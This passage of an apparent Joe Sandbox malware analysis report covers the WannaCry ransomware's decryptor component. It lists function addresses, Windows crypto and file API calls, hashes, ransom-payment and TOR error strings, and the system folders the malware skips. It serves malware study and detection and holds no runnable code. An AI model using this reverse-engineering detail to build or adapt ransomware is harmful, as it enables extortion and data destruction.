                                          • Part of subcall function 004049B0: GetFileSize.KERNEL32(00000000,00000000), ref: 00404A0B
                                          • Part of subcall function 004049B0: _local_unwind2.MSVCRT ref: 00404AC7
                                        • CryptEncrypt.ADVAPI32(?,00000000,00000001,00000000,00000000,?,00000200), ref: 004048DB
                                        • _local_unwind2.MSVCRT ref: 004048EB
                                        • CryptDecrypt.ADVAPI32(?,00000000,00000001,00000000,00000000,?), ref: 00404920
                                        • strncmp.MSVCRT(00000000,?), ref: 00404951
                                        • _local_unwind2.MSVCRT ref: 00404964
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: Crypt_local_unwind2$File$AcquireContextCreateDecryptEncryptSizestrncmp
                                        • String ID: TESTDATA
                                        • API String ID: 154225373-1607903762
                                        • Opcode ID: 20c9666a7ffcf9d4be304aa18a7e829ae4cc28ed87e3f3fd2989e324c574ec42
                                        • Instruction ID: 12943b98363484da7d263465f98eb3331ab271d68fc45af0c4cd497e7be75c93
                                        • Opcode Fuzzy Hash: 20c9666a7ffcf9d4be304aa18a7e829ae4cc28ed87e3f3fd2989e324c574ec42
                                        • Instruction Fuzzy Hash: 21512DB6600218ABCB24CB64DC45BEBB7B4FB98320F10477DF915A72C1EB749A44CB94
                                        Function 004049B0 Relevance: 10.6, APIs: 7, Instructions: 107fileCOMMON
                                        Download Yara Rule
                                        APIs
                                        • CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004049F5
                                        • GetFileSize.KERNEL32(00000000,00000000), ref: 00404A0B
                                        • _local_unwind2.MSVCRT ref: 00404AC7
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: File$CreateSize_local_unwind2
                                        • String ID:
                                        • API String ID: 1039228802-0
                                        • Opcode ID: 90535d59a0f2dbe90f1bf53ea38d3d76a54ffae39caaa8181d17ff2389417ade
                                        • Instruction ID: 027920ce5e1762b5ae47f20262b5a931ea28e629a989eecbafe96ff87ad0b853
                                        • Opcode Fuzzy Hash: 90535d59a0f2dbe90f1bf53ea38d3d76a54ffae39caaa8181d17ff2389417ade
                                        • Instruction Fuzzy Hash: 723153B1A40219BBDB10DF98DC84FFFB6ACE789771F14472AF525A22C0D33859018B68
                                        Function 00406C20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 72windowCOMMON
                                        Download Yara Rule
                                        APIs
                                        • GetUserDefaultLangID.KERNEL32 ref: 00406C3B
                                        • GetLocaleInfoA.KERNEL32(00000000,00001001,00000000,00000032), ref: 00406C53
                                        • SendMessageA.USER32(?,00000158,00000000,00000000), ref: 00406C9A
                                        • SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00406CB1
                                        • SendMessageA.USER32(?,0000014D,00000000,00000000), ref: 00406CD4
                                          • Part of subcall function 00406AE0: #540.MFC42(?,776120C0), ref: 00406B03
                                          • Part of subcall function 00406AE0: #3874.MFC42 ref: 00406B1B
                                          • Part of subcall function 00406AE0: #537.MFC42(msg\), ref: 00406B29
                                          • Part of subcall function 00406AE0: #924.MFC42(?,00000000,m_%s.wnry,msg\), ref: 00406B41
                                          • Part of subcall function 00406AE0: sprintf.MSVCRT ref: 00406B59
                                          • Part of subcall function 00406AE0: #800.MFC42(?,?,776120C0), ref: 00406B62
                                          • Part of subcall function 00406AE0: #800.MFC42 ref: 00406B73
                                          • Part of subcall function 00406AE0: GetFileAttributesA.KERNEL32(?), ref: 00406B7D
                                          • Part of subcall function 00406AE0: #537.MFC42(msg\), ref: 00406B91
                                          • Part of subcall function 00406AE0: #924.MFC42(?,00000000,m_%s.wnry,msg\), ref: 00406BA9
                                          • Part of subcall function 00406AE0: sprintf.MSVCRT ref: 00406BBB
                                          • Part of subcall function 00406AE0: #800.MFC42(?,?,?,?,?,776120C0), ref: 00406BC4
                                          • Part of subcall function 00406AE0: #800.MFC42 ref: 00406BD5
                                          • Part of subcall function 00406AE0: #800.MFC42(?), ref: 00406BF5
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: #800$MessageSend$#537#924sprintf$#3874#540AttributesDefaultFileInfoLangLocaleUser
                                        • String ID: English
                                        • API String ID: 600832625-3812506524
                                        • Opcode ID: 98bbcc99f84d21185ee3b515649f036d805e480a8587630640b34afead2fff3e
                                        • Instruction ID: 12cb8a10269d81aa60d086da51d7e65d8080bc449a50ca3d57c6290c1d86febe
                                        • Opcode Fuzzy Hash: 98bbcc99f84d21185ee3b515649f036d805e480a8587630640b34afead2fff3e
                                        • Instruction Fuzzy Hash: F911D3717402006BEB149634DC42BAB7795EBD4720F54863EFE5AEB2D0D9F8A8098794
                                        Function 0040A150 Relevance: 9.4, APIs: 6, Instructions: 375COMMON
                                        Download Yara Rule
                                        APIs
                                        • ??0exception@@QAE@ABQBD@Z.MSVCRT ref: 0040A16F
                                        • _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040A17F
                                        • ??0exception@@QAE@ABQBD@Z.MSVCRT(?), ref: 0040A1A8
                                        • _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040A1B8
                                        • ??0exception@@QAE@ABQBD@Z.MSVCRT(?), ref: 0040A1E1
                                        • _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040A1F1
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: ??0exception@@ExceptionThrow
                                        • String ID:
                                        • API String ID: 941485209-0
                                        • Opcode ID: 1e118166748c2516ccf34b16e56ce24d223970c5c76bb6d30bfc94f2d512404d
                                        • Instruction ID: fb0ef9a6f766abd1277d4fb3e7775c965cb771230ee66441beda5a672c207522
                                        • Opcode Fuzzy Hash: 1e118166748c2516ccf34b16e56ce24d223970c5c76bb6d30bfc94f2d512404d
                                        • Instruction Fuzzy Hash: 57E1E4716043458BD718CF29C4906AAB7E2BFCC308F09857EE889EB355DB34D941CB5A
                                        Function 0040D300 Relevance: 6.2, APIs: 4, Instructions: 159COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: a08db869219df8efdefb3ef72c08157662442d75b338dd6e5398e89fc6f12503
                                        • Instruction ID: 8719850658187d05665d4daca0cd16b7f92190a52f2d7545724c4cd71ae93cac
                                        • Opcode Fuzzy Hash: a08db869219df8efdefb3ef72c08157662442d75b338dd6e5398e89fc6f12503
                                        • Instruction Fuzzy Hash: 7A41D7B2B042044BC724DE6898506BFB7D5EBD4314F40093FF946A3381DA79ED4D869A
                                        Function 00404AF0 Relevance: 6.1, APIs: 4, Instructions: 51encryptionCOMMON
                                        Download Yara Rule
                                        APIs
                                        • EnterCriticalSection.KERNEL32(00000014,00000000,00000000,00000000,0040234D,?,00000100,?,?), ref: 00404B08
                                        • CryptDecrypt.ADVAPI32(?,00000000,00000001,00000000,?,?), ref: 00404B22
                                        • LeaveCriticalSection.KERNEL32(00000014), ref: 00404B2D
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: CriticalSection$CryptDecryptEnterLeave
                                        • String ID:
                                        • API String ID: 1395129968-0
                                        • Opcode ID: d5df251600a2380ab54480b0f3f02b47ff305855cea17aa335da23d14111fa1b
                                        • Instruction ID: c9397fa3391ecaa6db63de0f595bcff8412a7be4ee2956e3e45acdf047351e7f
                                        • Opcode Fuzzy Hash: d5df251600a2380ab54480b0f3f02b47ff305855cea17aa335da23d14111fa1b
                                        • Instruction Fuzzy Hash: 15017C323002049BD714CE65E888BAB77A9FBC9721F44883AFA42D7281D7B0E809C671
                                        Function 004090F0 Relevance: 56.5, APIs: 21, Strings: 11, Instructions: 454windowCOMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        • Executed
                                        • Not Executed
                                        control_flow_graph 271 4090f0-40911e 272 409124-40915c #540 #3874 271->272 273 40971e-409736 271->273 274 409185-40918c 272->274 275 40915e-409163 272->275 276 40919c-4091c4 _ftol 274->276 277 40918e-409197 #860 274->277 278 409165-40916c 275->278 279 4091c8-4091cf 275->279 276->279 277->276 282 40917c-409183 278->282 283 40916e-409177 #860 278->283 280 4091d5-409327 SendMessageA #2860 call 409df0 call 409870 #5875 #6170 GetWindowOrgEx #540 #2818 279->280 281 40970a-409719 #800 279->281 289 409329-409357 GetObjectA 280->289 290 40935b-409389 GetTextExtentPoint32A 280->290 281->273 282->279 283->282 289->290 291 4093a1-4093a4 290->291 292 40938b-40939f 290->292 294 4093a6-4093b6 291->294 295 4093b8-4093bd 291->295 293 4093f6-40940b GetViewportOrgEx 292->293 299 409411-409430 call 409d40 293->299 300 4094a9-4094f3 293->300 296 4093f2 294->296 297 4093d9-4093de 295->297 298 4093bf-4093d7 295->298 296->293 297->293 301 4093e0-4093f0 297->301 298->293 307 409432 299->307 308 409436-409444 299->308 305 4094f5-409512 300->305 306 409517-409525 300->306 301->296 311 40961a-409658 #800 305->311 309 409527-409535 306->309 310 40953d-409553 306->310 307->308 308->311 312 40944a-4094a4 308->312 309->310 314 4095b3-4095bf 310->314 315 409555-409568 310->315 319 409662-40967b 311->319 320 40965a-40965d #6170 311->320 322 409610-409612 312->322 314->311 318 4095c1-4095d1 314->318 326 40956a 315->326 327 40956e-4095ab 315->327 328 4095d3 318->328 329 4095d7-40960c 318->329 324 409685-40969c 319->324 325 40967d-409680 #5875 319->325 320->319 322->311 330 4096a6-4096bc 324->330 331 40969e-4096a1 324->331 325->324 326->327 327->314 328->329 329->322 332 4096c8-409702 #2414 * 2 330->332 333 4096be-4096c3 330->333 331->330 332->281 333->332
                                        APIs
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: #2414#540#5875#6170#800#860$#2818#2860#3874ExtentMessageObjectPoint32SendTextViewportWindow_ftol
                                        • String ID: %d%%$gfff$pgA$pgA$tgA$tgA$xgA$xgA$|gA$|gA$[A
                                        • API String ID: 2923375784-3599407550
                                        • Opcode ID: 7e6b703d67e7595773a4bd55965276fd3caf6c6c14634650179ea244f19e8907
                                        • Instruction ID: e7c60e05cab477c723c52aa9b6021990c4bcf2d63edfa6d200c8e4e6b3644932
                                        • Opcode Fuzzy Hash: 7e6b703d67e7595773a4bd55965276fd3caf6c6c14634650179ea244f19e8907
                                        • Instruction Fuzzy Hash: D312E2B0208381DFD714CF69C484A9BBBE5BBC8304F148A2EF89997391D774E945CB66
                                        Function 00405230 Relevance: 49.8, APIs: 33, Instructions: 279COMMON
                                        Download Yara Rule
                                        APIs
                                        • #940.MFC42(?), ref: 0040527D
                                        • #4277.MFC42(?,00000001), ref: 004052A0
                                        • #923.MFC42(?,00000000,?), ref: 004052B8
                                        • #858.MFC42(00000000,?,00000000,?), ref: 004052C5
                                        • #800.MFC42(00000000,?,00000000,?), ref: 004052D3
                                        • #800.MFC42(00000000,?,00000000,?), ref: 004052E4
                                        • #4129.MFC42(?,?), ref: 004052FC
                                        • #5710.MFC42 ref: 00405314
                                        • #922.MFC42(?,00000000,00000000), ref: 00405326
                                        • #858.MFC42(00000000,?,00000000,00000000), ref: 00405333
                                        • #800.MFC42(00000000,?,00000000,00000000), ref: 00405340
                                        • #800.MFC42(00000000,?,00000000,00000000), ref: 0040534E
                                        • #800.MFC42(00000000,?,00000000,00000000), ref: 0040535F
                                        • #940.MFC42(?), ref: 00405396
                                        • #5710.MFC42(?,?), ref: 004053B8
                                        • #4129.MFC42(?,?,?,?), ref: 004053D7
                                        • #922.MFC42(?,?,00000000,?,?,?,?), ref: 004053ED
                                        • #858.MFC42(00000000,?,?,00000000,?,?,?,?), ref: 004053FA
                                        • #800.MFC42(00000000,?,?,00000000,?,?,?,?), ref: 00405407
                                        • #800.MFC42(00000000,?,?,00000000,?,?,?,?), ref: 00405415
                                        • #800.MFC42(00000000,?,?,00000000,?,?,?,?), ref: 00405426
                                        • #4129.MFC42(?,?), ref: 00405443
                                        • #4277.MFC42(?,?,?,?), ref: 0040545B
                                        • #922.MFC42(?,00000000,?,?,?,?,?), ref: 00405471
                                        • #858.MFC42(00000000,?,00000000,?,?,?,?,?), ref: 0040547E
                                        • #800.MFC42(00000000,?,00000000,?,?,?,?,?), ref: 0040548B
                                        • #800.MFC42(00000000,?,00000000,?,?,?,?,?), ref: 00405499
                                        • #800.MFC42(00000000,?,00000000,?,?,?,?,?), ref: 004054AA
                                        • #6778.MFC42(?,00000001), ref: 004054EA
                                        • #6648.MFC42(00000000,00000001,?,00000001), ref: 004054F4
                                        • #6778.MFC42(00000000,?), ref: 00405536
                                        • #6648.MFC42(?,00000001,00000000,?), ref: 00405545
                                        • InvalidateRect.USER32(?,00000000,00000001), ref: 0040555A
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: #800$#858$#4129#922$#4277#5710#6648#6778#940$#923InvalidateRect
                                        • String ID:
                                        • API String ID: 2121400562-0
                                        • Opcode ID: b4a9873a0028e0a5de6b54efbba54189251206de77b36b87668466cc29092242
                                        • Instruction ID: 4ea7c19ebb0ecad4eacefd8b4ebc091e45acf9db756171f3a68d6c32b1a6cadd
                                        • Opcode Fuzzy Hash: b4a9873a0028e0a5de6b54efbba54189251206de77b36b87668466cc29092242
                                        • Instruction Fuzzy Hash: A4A1B770204B81AFC714DB29C590A6FB7E6EFD4304F040A1EF596D3391D7B8E8558B66
                                        Function 004082C0 Relevance: 47.4, APIs: 21, Strings: 6, Instructions: 181fileCOMMON
                                        Download Yara Rule
                                        APIs
                                        • #4278.MFC42(000003E8,00000000,000003E8,?,?,76A25C80), ref: 0040830D
                                        • #858.MFC42 ref: 00408322
                                        • #800.MFC42 ref: 00408332
                                        • #1200.MFC42(Too short message!,00000000,00000000,?,?,76A25C80), ref: 00408354
                                        • #800.MFC42 ref: 0040836B
                                        • time.MSVCRT ref: 0040837F
                                        • #540.MFC42 ref: 004083C8
                                        • time.MSVCRT ref: 004083D6
                                        • #2818.MFC42(?,You are sending too many mails! Please try again %d minutes later.,0000003D,00000000), ref: 0040840A
                                        • #1200.MFC42(?,00000000,00000000,?,?,?,00000000), ref: 00408419
                                        • #800.MFC42(?,00000000,00000000,?,?,?,00000000), ref: 00408429
                                        • #800.MFC42 ref: 00408440
                                        • time.MSVCRT ref: 0040844E
                                        • fopen.MSVCRT ref: 00408487
                                        • #800.MFC42 ref: 004084A8
                                        • fread.MSVCRT ref: 004084C2
                                        • fclose.MSVCRT ref: 004084C9
                                        • #1200.MFC42(Your message has been sent successfully!,00000040,00000000), ref: 00408522
                                        • time.MSVCRT ref: 00408528
                                        • #1200.MFC42(Failed to send your message!Please make sure that your computer is connected to the Internet and your Internet Service Provider (ISP) does not block connections to the TOR Network!,00000030,00000000), ref: 00408544
                                        • #800.MFC42 ref: 0040855B
                                        Strings
                                        • s.wnry, xrefs: 004084DD
                                        • You are sending too many mails! Please try again %d minutes later., xrefs: 00408404
                                        • Failed to send your message!Please make sure that your computer is connected to the Internet and your Internet Service Provider (ISP) does not block connections to the TOR Network!, xrefs: 0040853F
                                        • Too short message!, xrefs: 0040834F
                                        • 00000000.res, xrefs: 00408480
                                        • Your message has been sent successfully!, xrefs: 0040851D
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: #800$#1200time$#2818#4278#540#858fclosefopenfread
                                        • String ID: 00000000.res$Failed to send your message!Please make sure that your computer is connected to the Internet and your Internet Service Provider (ISP) does not block connections to the TOR Network!$Too short message!$You are sending too many mails! Please try again %d minutes later.$Your message has been sent successfully!$s.wnry
                                        • API String ID: 1233543560-382338106
                                        • Opcode ID: 6aef2977620d67d742a0f30d3b6c329b2d4c4f80cce0edf1bcad665571c82898
                                        • Instruction ID: 9ef4e74ff6f5855000ff98dc085b89da37e67c7abdef0d08bf307c22ead08a72
                                        • Opcode Fuzzy Hash: 6aef2977620d67d742a0f30d3b6c329b2d4c4f80cce0edf1bcad665571c82898
                                        • Instruction Fuzzy Hash: D6610371604340EFD330EB28DD81BEFB795AB90324F444A3EF199932D0DB78594586AB
                                        Function 004086E0 Relevance: 40.6, APIs: 20, Strings: 3, Instructions: 324windowCOMMON
                                        Download Yara Rule
                                        APIs
                                        • #470.MFC42 ref: 00408708
                                        • GetClientRect.USER32(?,?), ref: 0040871F
                                        • SendMessageA.USER32(?,00000408,00000000,00000000), ref: 00408730
                                        • #6734.MFC42(?,?), ref: 00408746
                                        • #323.MFC42(?,?), ref: 0040874F
                                        • CreateCompatibleDC.GDI32(?), ref: 004087D2
                                        • #1640.MFC42(00000000), ref: 004087DD
                                          • Part of subcall function 00409E70: CreateCompatibleBitmap.GDI32(?,?,?), ref: 00409E85
                                          • Part of subcall function 00409E70: #1641.MFC42(00000000,?,00408809,?,?,?,00000000), ref: 00409E8E
                                          • Part of subcall function 00409F10: #5785.MFC42(?,?,00408A5E,?,?,?,?,?,?,?,?,00CC0020), ref: 00409F1D
                                        • #6194.MFC42(?,?,?,\gA,?,?,?,00000000), ref: 00408831
                                        • FillRect.USER32(?,?,?), ref: 0040887D
                                        • #2754.MFC42(?,?), ref: 00408892
                                        • #2381.MFC42(?,?,?), ref: 0040889F
                                        • #3797.MFC42(?,?,?), ref: 004088C0
                                        • _ftol.MSVCRT ref: 00408951
                                        • _ftol.MSVCRT ref: 0040896F
                                        • FillRect.USER32(?,00000000,00000000), ref: 004089B0
                                        • #640.MFC42(?,?,?), ref: 00408B09
                                        • #755.MFC42(?,?,?), ref: 00408B20
                                          • Part of subcall function 00409F80: BitBlt.GDI32(?,?,?,?,\gA,?,\gA,\gA,\gA), ref: 00409FB3
                                          • Part of subcall function 00409F10: #5785.MFC42(?,?,00408A5E,?,?,?,?,?,?,?,?,00CC0020), ref: 00409F2D
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: Rect$#5785CompatibleCreateFill_ftol$#1640#1641#2381#2754#323#3797#470#6194#640#6734#755BitmapClientMessageSend
                                        • String ID: \gA$fA$fA
                                        • API String ID: 1027735583-2217880857
                                        • Opcode ID: 6ed80f763e045306e10188d4e497fb721b5fce89834b9b0f8741aa09041edacc
                                        • Instruction ID: b72dd9534e9f1d52b621f8c4883ea919de29669ae4f9aefa89eb3b477b52946b
                                        • Opcode Fuzzy Hash: 6ed80f763e045306e10188d4e497fb721b5fce89834b9b0f8741aa09041edacc
                                        • Instruction Fuzzy Hash: 33D12CB16083419FC314DF25C984AAFBBE9BBC8304F508E2EF1D993291DB749949CB56
                                        Function 00402AF0 Relevance: 40.4, APIs: 12, Strings: 11, Instructions: 133COMMON
                                        Download Yara Rule
                                        APIs
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000022.00000002.1950226366.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000022.00000002.1950187177.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950283057.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 00000022.00000002.1950410859.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_34_2_400000_@WanaDecryptor@.jbxd
                                        Yara matches
                                        Similarity
                                        • API ID: _wcsicmp$_wcsnicmpwcsstr
                                        • String ID: This folder protects against ransomware. Modifying it will reduce protection$Content.IE5$N(@$Temporary Internet Files$\AppData\Local\Temp$\Intel$\Local Settings\Temp$\Program Files$\Program Files (x86)$\ProgramData$\WINDOWS
                                        • API String ID: 2817753184-2613825984
                                        • Opcode ID: 5c5dcd1e390a91f16435822322ea41988894e25d1b71caeb8710faf8d967a9e6
                                        • Instruction ID: 690a6d88e0cbcba8c0a0bc490ea4abea364cf6131422823267360e98b5ddcfca
                                        • Opcode Fuzzy Hash: 5c5dcd1e390a91f16435822322ea41988894e25d1b71caeb8710faf8d967a9e6
                                        • Instruction Fuzzy Hash: 3831843235162023D520691D7D4AFCB638C8FE5727F554033FD44E52C1E29EB96A82BD
                                        Function 00401760 Relevance: 38.6, APIs: 17, Strings: 5, Instructions: 140filesynchronizationthreadCOMMON
                                        Download Yara Rule
                                        APIs
                                        • #6453.MFC42 ref: 00401780
                                        • WaitForSingleObject.KERNEL32(?,00000BB8), ref: 00401797
                                        • TerminateThread.KERNEL32(?,00000000), ref: 004017A5
                                        • CloseHandle.KERNEL32(?), ref: 004017B2
                                        • sprintf.MSVCRT ref: 00401811
                                        • fopen.MSVCRT ref: 00401821
                                        • fread.MSVCRT ref: 00401844
                                        • fclose.MSVCRT ref: 0040184D
                                        • DeleteFileA.KERNEL32(?), ref: 0040185B
                                        • #537.MFC42(You have a new message:), ref: 00401885
                                        • #924.MFC42(?,00000000,?,You have a new message:), ref: 0040189C
                                        • #1200.MFC42 ref: 004018AF
                                        • #800.MFC42 ref: 004018BF
                                        • #800.MFC42 ref: 004018D3
                                        • #1200.MFC42(You did not pay or we did not confirmed your payment!Pay now if you didn't and check again after 2 hours.Best time to check: 9:00am - 11:00am GMT from Monday to Friday.,000000F0,00000000), ref: 004018E5
                                        Strings
                                        • Failed to check your payment!Please make sure that your computer is connected to the Internet and your Internet Service Provider (ISP) does not block connections to the TOR Network!, xrefs: 00401918
                                        • Congratulations! Your payment has been checked!Start decrypting now!, xrefs: 00401934
                                        • You did not pay or we did not confirmed your payment!Pay now if you didn't and check again after 2 hours.Best time to check: 9:00am - 11:00am GMT from Monday to Friday., xrefs: 004018E0, 00401925
                                        • %08X.dky, xrefs: 0040180A
                                        • You have a new message:, xrefs: 00401877
                                        Memory Dump Source
